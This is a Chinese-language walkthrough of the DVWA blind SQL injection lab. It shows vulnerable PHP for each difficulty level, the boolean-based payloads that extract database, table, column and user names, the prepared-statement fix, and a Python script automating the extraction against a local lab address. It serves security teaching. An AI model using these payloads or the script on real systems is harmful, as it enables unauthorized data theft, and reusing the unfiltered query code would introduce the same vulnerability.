SQL Injection (Blind)
SQL Injection (Blind)即SQL盲注,同样是由于web应用程序对用户输入数据没有进行过滤或过滤不完全,导致输入数据破坏原有SQL语句并执行恶意指令,与SQL注入区别在于SQL盲注没有回显,无法直接了解到恶意指令执行情况。
low
服务器核心代码
<?php
if( isset( $_GET[ ‘Submit‘ ] ) ) {
// Get input
$id = $_GET[ ‘id‘ ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed ‘or die‘ to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo ‘<pre>User ID exists in the database.</pre>‘;
}
else {
// User wasn‘t found, so the page wasn‘t!
header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );
// Feedback for end user
echo ‘<pre>User ID is MISSING from the database.</pre>‘;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
low难度代码未对输入信息进行过滤,可以进行注入
解法
输入 1‘ and 1=1 # 显示数据在数据库中
输入 1‘ and 1=0 # 显示数据不在数据库中 说明语句注入成功
猜解数据库名的长度 1‘ and length(database())=1 # 显示MISSING
猜解到4的时候 显示exists 说明数据库名长度为4
之后逐个猜解库名 1‘ and substr(database(),1,1)=‘a‘ # (MISSING)
以此类推 1‘ and substr(database(),1,1)=‘d‘ # (exists)
1‘ and substr(database(),2,1)=‘v‘ # (exists)
1‘ and substr(database(),3,1)=‘w‘ # (exists)
1‘ and substr(database(),4,1)=‘a‘ # (exists)
猜解表个数 1‘ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa‘ )=1 #
猜解表名长度 1‘ and length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 0,1))=1 #
猜解表名 1‘ and substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 1,1),1,1)=‘a‘ #
猜解字段个数 1‘ and (select count(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ )=1 #
猜解字段名长度 1‘ and length((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 0,1))=1 #
猜解字段名 1‘ and substr((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 3,1),1,1)=‘a‘ #
猜解值长度 1‘ and length((select user from dvwa.users limit 0,1))=1 #
猜解值 1‘ and substr((select user from dvwa.users limit 0,1),1,1)=‘a‘ #
medium
服务器核心代码
<?php
if( isset( $_POST[ ‘Submit‘ ] ) ) {
// Get input
$id = $_POST[ ‘id‘ ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed ‘or die‘ to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo ‘<pre>User ID exists in the database.</pre>‘;
}
else {
// Feedback for end user
echo ‘<pre>User ID is MISSING from the database.</pre>‘;
}
//mysql_close();
}
?>
从代码看,用mysqli_real_escape_string()函数过滤了一部分特殊符号,但注入点也变成了数字型,同时将传参数方式变成post,并不能防止注入
解法
猜解数据库名的长度 1 and length(database())=4 #
猜解数据库名 1 and ascii(substr(database(),1,1))=100 #
猜解表个数 1 and (select count(table_name) from information_schema.tables where table_schema=0x64767761 )=2 #
猜解表名长度 1 and length((select table_name from information_schema.tables where table_schema=0x64767761 limit 0,1))=9 #
猜解表名 1 and ascii(substr((select table_name from information_schema.tables where table_schema=0x64767761 limit 1,1),1,1))=103 #
猜解字段个数 1 and (select count(column_name) from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 )=8 #
猜解字段名长度 1 and length((select column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 3,1))=4 #
猜解字段名 1 and ascii(substr((select column_name from information_schema.columns where table_schema=0x64767761 and table_name=0x7573657273 limit 3,1),1,1))=117 #
猜解值长度 1 and length((select user from dvwa.users limit 0,1))=5 #
猜解值 1 and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 #
high
服务器核心代码
<?php
if( isset( $_COOKIE[ ‘id‘ ] ) ) {
// Get input
$id = $_COOKIE[ ‘id‘ ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘ LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed ‘or die‘ to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The ‘@‘ character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo ‘<pre>User ID exists in the database.</pre>‘;
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn‘t found, so the page wasn‘t!
header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );
// Feedback for end user
echo ‘<pre>User ID is MISSING from the database.</pre>‘;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
改用cookie传值,没有过滤,payload和前两个基本差不多
解法
猜解数据库名的长度 1‘ and length(database())=4 #
猜解数据库名 1‘ and substr(database(),1,1)=‘d‘ #
猜解表个数 1‘ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa‘ )=2 #
猜解表名长度 1‘ and length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 0,1))=9 #
猜解表名 1‘ and substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit 1,1),1,1)=‘g‘ #
猜解字段个数 1‘ and (select count(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ )=8 #
猜解字段名长度 1‘ and length((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 3,1))=4 #
猜解字段名 1‘ and substr((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘users‘ limit 3,1),1,1)=‘u‘ #
猜解值长度 1‘ and length((select user from dvwa.users limit 0,1))=5 #
猜解值 1‘ and substr((select user from dvwa.users limit 0,1),1,1))=‘a‘ #
impossible
<?php
if( isset( $_GET[ ‘Submit‘ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );
// Get input
$id = $_GET[ ‘id‘ ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ );
$data->bindParam( ‘:id‘, $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo ‘<pre>User ID exists in the database.</pre>‘;
}
else {
// User wasn‘t found, so the page wasn‘t!
header( $_SERVER[ ‘SERVER_PROTOCOL‘ ] . ‘ 404 Not Found‘ );
// Feedback for end user
echo ‘<pre>User ID is MISSING from the database.</pre>‘;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
从代码上看,判断输入参数是否为数字,后面还使用了PDO来防止SQL注入,这里已经不能再进行SQL注入
脚本
因为盲注比较复杂,所以一般我们选择写个脚本来跑,这里根据low难度来写一个,medium和high也是同理,由于水平有限,写的不一定好,应该只属于勉强能把结果跑出来那种吧……
import requests
from lxml import etree
if __name__ == "__main__" :
headers={
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0‘,
‘Cookie‘: ‘PHPSESSID=qapdt204upd005gebh8ikaern7; security=low‘
}
url=‘http://192.168.37.141:89/vulnerabilities/sqli_blind/?id={n}&Submit=Submit‘
dic=[‘a‘,‘b‘,‘c‘,‘d‘,‘e‘,‘f‘,‘j‘,‘h‘,‘i‘,‘g‘,‘k‘,‘l‘,‘m‘,‘n‘,‘o‘,‘p‘,‘q‘,‘r‘,‘s‘,‘t‘,‘u‘,‘v‘,‘w‘,‘x‘,‘y‘,‘z‘,
‘0‘,‘1‘,‘2‘,‘3‘,‘4‘,‘5‘,‘6‘,‘7‘,‘8‘,‘9‘]
database=‘‘
for i in range(1,5):
for c in dic:
payload="1‘ and substr(database(),{n},1)=‘{m}‘ %23"
html=requests.get(url=url.format(n=payload.format(n=i,m=c)),headers=headers)
if ‘exists‘ in html.text:
database+=c
break
print(‘数据库名:‘+database)
for i in range(1,15):
payload="1‘ and (select count(table_name) from information_schema.tables where table_schema=‘dvwa‘ )={n} %23 "
html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
if ‘exists‘ in html.text:
tablenum=i
break
print(‘表个数:‘+str(tablenum))
for i in range(0,tablenum):
for j in range(1,25):
payload="1‘ and length((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit {m},1))={n} %23"
html=requests.get(url=url.format(n=payload.format(m=i,n=j)),headers=headers)
if ‘exists‘ in html.text:
tablelen=j
table_name=‘‘
for k in range(0,tablelen+1):
for c in dic:
payload="1‘ and substr((select table_name from information_schema.tables where table_schema=‘dvwa‘ limit {m},1),{k},1)=‘{n}‘ %23"
html=requests.get(url=url.format(n=payload.format(m=i,k=k,n=c)),headers=headers)
if ‘exists‘ in html.text:
table_name+=c
break
print(‘表名:‘+table_name)
break
table_name=input(‘输入表名:‘)
for i in range(1,15):
payload="1‘ and (select count(column_name) from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘"+table_name+"‘ )={n} %23"
html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
if ‘exists‘ in html.text:
columnnum=i
break
print(‘字段个数:‘+str(columnnum))
for i in range(0,columnnum):
for j in range(1,25):
payload="1‘ and length((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘"+table_name+"‘ limit {m},1))={n} %23"
html=requests.get(url=url.format(n=payload.format(m=i,n=j)),headers=headers)
if ‘exists‘ in html.text:
columnlen=j
column_name=‘‘
for k in range(0,columnlen+1):
for c in dic:
payload="1‘ and substr((select column_name from information_schema.columns where table_schema=‘dvwa‘ and table_name=‘"+table_name+"‘ limit {m},1),{k},1)=‘{n}‘ %23"
html=requests.get(url=url.format(n=payload.format(m=i,k=k,n=c)),headers=headers)
if ‘exists‘ in html.text:
column_name+=c
break
print(‘字段名:‘+column_name)
break
while(1):
column_name=input(‘输入字段名:‘)
if column_name == ‘0‘:
break
else:
for i in range(1,51):
payload="1‘ and length((select "+column_name+" from dvwa."+table_name+" limit 0,1))={n} %23"
html=requests.get(url=url.format(n=payload.format(n=i)),headers=headers)
if ‘exists‘ in html.text:
valuenum=i
value=‘‘
for j in range(1,valuenum+1):
for c in dic:
payload="1‘ and substr((select "+column_name+" from dvwa."+table_name+" limit 0,1),{k},1)=‘{n}‘ %23"
html=requests.get(url=url.format(n=payload.format(k=j,n=c)),headers=headers)
if ‘exists‘ in html.text:
value+=c
print(value)
break
下面是运行结果